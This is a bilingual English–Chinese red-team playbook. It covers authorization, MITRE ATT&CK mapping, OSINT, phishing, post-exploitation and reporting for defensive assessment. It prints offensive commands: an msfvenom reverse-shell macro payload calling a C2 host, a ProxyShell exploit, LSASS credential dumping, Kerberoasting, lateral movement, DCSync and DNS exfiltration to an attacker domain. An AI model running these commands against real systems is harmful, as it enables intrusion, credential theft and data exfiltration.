Back to Details

conducting-full-scope-red-team-engagement

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Conducting Full-Scope Red Team Engagement

开展全范围红队演练

Overview

概述

A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
全范围红队演练模拟真实攻击者在整个网络杀伤链中的行为——从初始侦察到数据泄露——以此评估组织的检测、预防和响应能力。与渗透测试不同，红队行动优先考虑隐蔽性、持久性以及模仿高级持续性威胁（APT）的目标导向场景。

When to Use

适用场景

  • When conducting security assessments that involve conducting full scope red team engagement
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing
  • 开展包含全范围红队演练的安全评估时
  • 针对相关安全事件执行应急响应流程时
  • 进行定期安全测试或审计活动时
  • 通过实操测试验证安全控制措施时

Prerequisites

前置条件

  • Written authorization (Rules of Engagement document) signed by executive leadership
  • Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
  • Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
  • Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
  • Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws
  • 由高管签署的书面授权文件（参与规则文档）
  • 明确的范围，包括受测/非受测系统、升级联系人以及紧急终止流程
  • 相关 adversary 组织的威胁情报（如APT29、FIN7、Lazarus Group）
  • 红队基础设施：C2服务器、重定向器、钓鱼域名、载荷开发环境
  • 确认符合《计算机欺诈与滥用法案》（CFAA）及当地法律的法律审查

Engagement Phases

演练阶段

Phase 1: Planning and Threat Modeling

阶段1：规划与威胁建模

Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:
Kill Chain PhaseMITRE ATT&CK TacticExample Techniques
ReconnaissanceTA0043T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info
Resource DevelopmentTA0042T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware
Initial AccessTA0001T1566.001 Spearphishing Attachment, T1078 Valid Accounts
ExecutionTA0002T1059.001 PowerShell, T1204.002 User Execution: Malicious File
PersistenceTA0003T1053.005 Scheduled Task, T1547.001 Registry Run Keys
Privilege EscalationTA0004T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass
Defense EvasionTA0005T1055 Process Injection, T1027 Obfuscated Files
Credential AccessTA0006T1003.001 LSASS Memory, T1558.003 Kerberoasting
DiscoveryTA0007T1087 Account Discovery, T1018 Remote System Discovery
Lateral MovementTA0008T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash
CollectionTA0009T1560 Archive Collected Data, T1213 Data from Information Repositories
ExfiltrationTA0010T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol
ImpactTA0040T1486 Data Encrypted for Impact, T1489 Service Stop
根据威胁特征，将演练映射至特定的MITRE ATT&CK战术与技术：
杀伤链阶段MITRE ATT&CK战术示例技术
侦察TA0043T1593 搜索公开网站/域名, T1589 收集受害者身份信息
资源开发TA0042T1583.001 获取基础设施：域名, T1587.001 开发攻击能力：恶意软件
初始访问TA0001T1566.001 鱼叉式钓鱼附件, T1078 合法账户利用
执行TA0002T1059.001 PowerShell, T1204.002 用户执行：恶意文件
持久化TA0003T1053.005 计划任务, T1547.001 注册表启动项
权限提升TA0004T1068 利用漏洞提升权限, T1548.002 UAC绕过
防御规避TA0005T1055 进程注入, T1027 文件混淆
凭证获取TA0006T1003.001 LSASS内存读取, T1558.003 Kerberoasting
发现TA0007T1087 账户发现, T1018 远程系统发现
横向移动TA0008T1021.002 SMB/Windows管理共享, T1550.002 哈希传递
收集TA0009T1560 归档收集的数据, T1213 从信息仓库获取数据
泄露TA0010T1041 通过C2通道泄露, T1048 通过替代协议泄露
影响TA0040T1486 加密数据造成影响, T1489 停止服务

Phase 2: Reconnaissance (OSINT)

阶段2：侦察（OSINT）

bash
undefined
bash
undefined

Passive DNS enumeration

Passive DNS enumeration

amass enum -passive -d target.com -o amass_passive.txt
amass enum -passive -d target.com -o amass_passive.txt

Certificate transparency log search

Certificate transparency log search

python3 -c " import requests url = 'https://crt.sh/?q=%.target.com&output=json' r = requests.get(url) for cert in r.json(): print(cert['name_value']) " | sort -u > subdomains.txt
python3 -c " import requests url = 'https://crt.sh/?q=%.target.com&output=json' r = requests.get(url) for cert in r.json(): print(cert['name_value']) " | sort -u > subdomains.txt

LinkedIn employee enumeration

LinkedIn employee enumeration

theHarvester -d target.com -b linkedin -l 500 -f harvest_results
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

Technology fingerprinting

Technology fingerprinting

whatweb -v target.com --log-json=whatweb.json
whatweb -v target.com --log-json=whatweb.json

Breach data credential search (authorized)

Breach data credential search (authorized)

h8mail -t target.com -o h8mail_results.csv
undefined
h8mail -t target.com -o h8mail_results.csv
undefined

Phase 3: Initial Access

阶段3：初始访问

Common initial access vectors for red team engagements:
Spearphishing (T1566.001):
bash
undefined
红队演练中常见的初始访问向量：
鱼叉式钓鱼（T1566.001）：
bash
undefined

Generate payload with macro

Generate payload with macro

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

Set up GoPhish campaign

Set up GoPhish campaign

Configure SMTP profile, email template with pretexted lure, and landing page

Configure SMTP profile, email template with pretexted lure, and landing page

gophish --config config.json

**External Service Exploitation (T1190):**
```bash
gophish --config config.json

**外部服务利用（T1190）：**
```bash

Scan for vulnerable services

Scan for vulnerable services

nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

Exploit known CVE (example: ProxyShell CVE-2021-34473)

Exploit known CVE (example: ProxyShell CVE-2021-34473)

python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
undefined
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
undefined

Phase 4: Post-Exploitation and Lateral Movement

阶段4：后渗透与横向移动

powershell
undefined
powershell
undefined

Situational awareness (T1082, T1016)

Situational awareness (T1082, T1016)

whoami /all systeminfo ipconfig /all net group "Domain Admins" /domain nltest /dclist:target.com
whoami /all systeminfo ipconfig /all net group "Domain Admins" /domain nltest /dclist:target.com

Credential harvesting from LSASS (T1003.001)

Credential harvesting from LSASS (T1003.001)

Using Havoc C2 built-in module

Using Havoc C2 built-in module

dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

Kerberoasting (T1558.003)

Kerberoasting (T1558.003)

Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

Lateral movement via WMI (T1047)

Lateral movement via WMI (T1047)

wmiexec.py domain/user:password@target-dc -c "whoami"
wmiexec.py domain/user:password@target-dc -c "whoami"

Lateral movement via PsExec (T1021.002)

Lateral movement via PsExec (T1021.002)

psexec.py domain/admin:password@fileserver.target.com
undefined
psexec.py domain/admin:password@fileserver.target.com
undefined

Phase 5: Objective Achievement

阶段5：目标达成

Define and pursue specific objectives:
  1. Domain Dominance: Achieve Domain Admin access and DCSync credentials
  2. Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
  3. Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
  4. Physical Access: Badge cloning, tailgating, server room access
bash
undefined
定义并推进特定目标：
  1. 域控接管：获取域管理员权限及DCSync凭证
  2. 数据泄露：定位并泄露核心资产数据（如PII、财务记录）
  3. 业务影响模拟：演示勒索软件部署能力（不实际执行）
  4. 物理访问：工牌克隆、尾随进入、服务器机房访问
bash
undefined

DCSync attack (T1003.006)

DCSync attack (T1003.006)

secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm

Exfiltration over DNS (T1048.003)

Exfiltration over DNS (T1048.003)

dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
undefined
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
undefined

Phase 6: Reporting and Debrief

阶段6：报告与复盘

The report should include:
  1. Executive Summary: Business impact, risk rating, key findings
  2. Attack Narrative: Timeline of activities with screenshots and evidence
  3. MITRE ATT&CK Mapping: Full heat map of techniques used
  4. Findings: Each finding with CVSS score, evidence, remediation
  5. Detection Gap Analysis: What the SOC detected vs. what was missed
  6. Purple Team Recommendations: Specific detection rules for gaps identified
报告应包含以下内容：
  1. 执行摘要：业务影响、风险评级、关键发现
  2. 攻击叙事：活动时间线及截图、证据
  3. MITRE ATT&CK映射：所用技术的完整热力图
  4. 发现项：每个发现项包含CVSS评分、证据、修复建议
  5. 检测差距分析：SOC检测到的内容与遗漏的内容对比
  6. 紫队建议：针对已识别差距的特定检测规则

Metrics and KPIs

指标与关键绩效指标（KPI）

MetricDescription
Mean Time to Detect (MTTD)Average time from action to SOC detection
Mean Time to Respond (MTTR)Average time from detection to containment
TTP CoveragePercentage of executed techniques detected
Objective Achievement RatePercentage of defined objectives completed
Dwell TimeTotal time red team maintained access undetected
指标说明
平均检测时间（MTTD）从攻击行为发生到SOC检测到的平均时长
平均响应时间（MTTR）从检测到威胁到完成遏制的平均时长
TTP覆盖度已执行技术中被检测到的比例
目标达成率已完成的既定目标比例
潜伏时间红队保持未被检测到的访问状态的总时长

Tools and Frameworks

工具与框架

  • C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
  • Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
  • Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
  • Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
  • Reporting: PlexTrac, Ghostwriter, Serpico
  • C2框架：Havoc、Cobalt Strike、Sliver、Mythic、Brute Ratel C4
  • 侦察工具：Amass、Recon-ng、theHarvester、SpiderFoot
  • 渗透工具：Metasploit、Impacket、CrackMapExec、Rubeus
  • 后渗透工具：Mimikatz、SharpCollection、BOF.NET
  • 报告工具：PlexTrac、Ghostwriter、Serpico

References

参考资料